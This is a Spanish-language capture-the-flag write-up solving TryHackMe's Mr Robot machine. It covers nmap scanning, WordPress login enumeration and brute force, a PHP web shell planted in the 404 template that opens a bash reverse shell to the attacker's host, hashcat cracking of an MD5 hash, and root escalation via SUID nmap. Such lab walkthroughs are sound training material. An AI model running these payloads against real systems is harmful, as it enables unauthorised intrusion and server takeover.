Mr Robot CTF

¡Hola!

En este writeup vamos a resolver la máquina Mr Robot CTF de TryHackMe, una máquina de nivel de dificultad medio. La podéis encontrar en el siguiente enlace:

Reconocimiento

Comprobamos que la máquina está activa y tenemos acceso a ella ejecutando un ping:

ping -c 1 <IP_máquina>

Y para empezar lanzamos nmap para detectar puertos abiertos y la versión y servicios que corren sobre ellos. Además, vamos a exportar la captura de nmap para poder consultarla más adelante si hiciera falta:

nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP> -oN <NOMBRE_ARCHIVO>

Nos encontramos con los siguientes resultados:

Tenemos http y https activos en el servidor, si echamos un vistazo a ambas versiones de la web nos encontramos con el mismo contenido. Se trata de una web en la que podemos interactuar con un menú pero que si echamos un vistazo a su código fuente se trata de puro código javascript que reproduce diferentes contenidos multimedia según la opción que elijamos:

Lanzamos el script http-enum de nmap para intentar descubrir rutas alternativas/ocultas:

nmap --script=http-enum.nse -p80 <IP>

Y obtenemos interesantes resultados:

Parece bastante obvio que nos encontramos ante un Wordpress. Si visualizamos el archivo robots.txt descubrimos un archivo .dic. Si descargamos este archivo en nuestra máquina y echamos un vistazo a su contenido nos encontramos lo que podría ser un diccionario de 858160 palabras:

Como se trata de un diccionario que no conocemos y con el objetivo de poder utilizarlo para hacer fuerza bruta más adelante vamos a optimizarlo eliminando posibles entradas duplicadas con el siguiente comando:

sort fsocity.dic | uniq > optimized_fsocity.dic

¡Con este simple comando habremos reducido el diccionario a solo 11451 líneas!

Además del diccionario también nos encontramos un arhivo .txt que contiene la primera flag:

Vamos a por el panel de inicio de sesión de Wordpress que se encuentra bajo la ruta /wp-login. Como Wordpress nos reporta a través de un mensaje de error en caso que el usuario no exista en la base de datos vamos a aprovecharnos de este mensaje para, atendiendo a la longitud del mensaje de respuesta, enumerar usuarios válidos usando el diccionario que descubrimos anteriormente y la herramienta Intruder de Burp Suite.

Primero interceptamos al petición con el proxy de Burp Suite:

Madamos esta petición al Intruder y definimos el campo sobre el que ejecutar nuestro ataque:

Nos dirigimos a la pestaña Payloads y cargamos nuestro diccionario optimizado:

Finalmente pulsamos sobre Start Attack.

Este proceso puede tardar una eternidad si tenemos la versión gratuita de Burp Suite y desde mi humilde opinión en CTFs no tiene sentido incluir este tipo de procesos así que te adelanto que el usuario válido es el nombre del protagonista de la serie: Elliot, no seré yo quien te juzgue si lo usas sin esperar a que termine el ataque de Burp Suite 😉

Una vez tengamos un usuario válido la forma más rápida de descubrir la contraseña de usuario es utilizando la herramienta wpscan con el siguiente comando:

wpscan --url http://<IP>/ -U Elliot -P optimized_fsocity.dic

Y finalmente obtenemos credenciales válidas de inicio de sesión:

Explotación

Ya podemos acceder al panel de control de Wordpress así que ahora nuestro objetivo es acceder al propio servidor. Para ello vamos a cambiar el comportamiento de la web al mostrar el error '404 - Página no encontrada' haciendo que se ejecute nuestro código malicioso cuando el sistema ejecute el archivo .php que muestra dicho mensaje.

Nos dirigimos a Appearance/Editor/:

Y haciendo click sobre 404 Template se nos mostrará el contenido del código:

Sustuímos el código original por el código de nuestra webshell y hacemos click sobre Update file:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP_Atacante>/<PUERTO> 0>&1'");

Esto va a hacer que cada vez que la web intente acceder a un recurso que no existe se ejecute nuestro código malicioso y nos envíe una reverse shell a nuestra IP de atacante.

Ponemos netcat en escucha:

nc -lvp <Puerto>

Y accedemos a una dirección URL que no exista, por ejemplo:

¡Y ya tenemos shell en nuestro equipo de atacante!

Si exploramos un poco el sistema podemos encontrar bajo el directorio de usuario /home/robot/ dos archivos interesantes, el primero es la segunda flag y el segundo parece contener unas credenciales codificadas en MD5:

Para decodificar el hash que corresponde a la contraseña vamos a crear un archivo en nuestra máquina que contenga la cadena completa:

echo "c3fcd3d76192e4007dfb496cca67e13b" > robot_creds

Y utilizamos la herramienta hashcat junto a un diccionario para decodificarla:

hashcat robot_creds /usr/share/wordlists/rockyou.txt

Si intentamos iniciar sesión como el usuario robot desde la shell que tenemos actualmente se nos mostrará el mensaje de error: "su: must be run from a terminal" así que vamos a lanzar una terminal con Python para poder ejecutar el comando su:

python -c 'import pty; pty.spawn("/bin/sh")'

Ahora sí, iniciamos sesión con el usuario robot y la contraseña que acabamos de decodificar.

su robot

Escalada de privilegios

Ya que hemos iniciado sesión con este usuario podemos realizar un tratamiento de la TTY para lanzar una shell completamente interactiva y poder movernos con soltura por el sistema, en el siguiente enlace encontrarás como hacerlo:

Lanzamos el siguiente comando para obtener una lista de los binarios con permisos suid:

find / -perm -u=s -type f 2>/dev/null

Llama la atención especialmente el binario nmap ya que no es típico que este binario posea este tipo de permisos.

Una siemple búsqueda en Google nos lleva a este artículo, el cual nos da los comandos a ejecutar para realizar la escalada de privilegios aprovechándonos de este fallo de seguridad:

nmap --interactive # Lanza nmap en modo interactivo
!sh # Lanza un shell bajo el usuario root desde el propio nmap

Y con esto ya podemos visualizar la flag de root que se encuentra bajo la ruta /root/.

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:

📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm

¡Gracias por llegar hasta aquí!

Última actualización